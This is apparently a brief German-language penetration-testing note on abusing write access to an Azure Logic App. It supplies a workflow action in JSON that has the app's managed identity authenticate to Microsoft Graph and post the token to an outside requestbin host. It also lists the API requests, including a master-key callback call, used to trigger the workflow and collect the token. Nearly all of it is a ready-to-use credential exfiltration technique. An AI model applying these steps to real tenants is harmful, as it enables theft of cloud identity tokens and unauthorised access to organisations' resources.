psy8.dev

Logic App

1 Min. Lesezeit

Logic App

1.0 Manipulate the logic workflow

If you have write permissions for a logic app, you can try to change the workflow. Redirect the authorization requests and exfiltrate the managed identity token.

Change the workflow action to get the token:

      "GetGAT": {
        "type": "Http",
        "inputs": {
          "method": "POST",
          "uri": "http://requestbin.whapi.cloud/<regbin-id>",
          "authentication": {
            "type": "ManagedServiceIdentity",
            "audience": "https://graph.microsoft.com"
          },
          "body": "@triggerBody()"
        }
      },

Start the workflow from portal or API and get your token.

Trigger workflow from API

To trigger the workflow from API, you’ll have to generate a signature first:
POST https://<sitename>.azurewebsites.net/runtime/webhooks/workflow/api/management/workflows/<workflow>/triggers/<trigger>/listCallbackUrl?api-version=2020-05-01-preview&code=<master-key>
This Signature is needed to trigger the workflow:
GET https://<sitename>.azurewebsites.net:443/api/<workflow>/triggers/<trigger>/invoke?api-version=2022-05-01&sp=%2Ftriggers%2F<trigger>%2Frun&sv=1.0&sig=<signature>

Graphansicht

Backlinks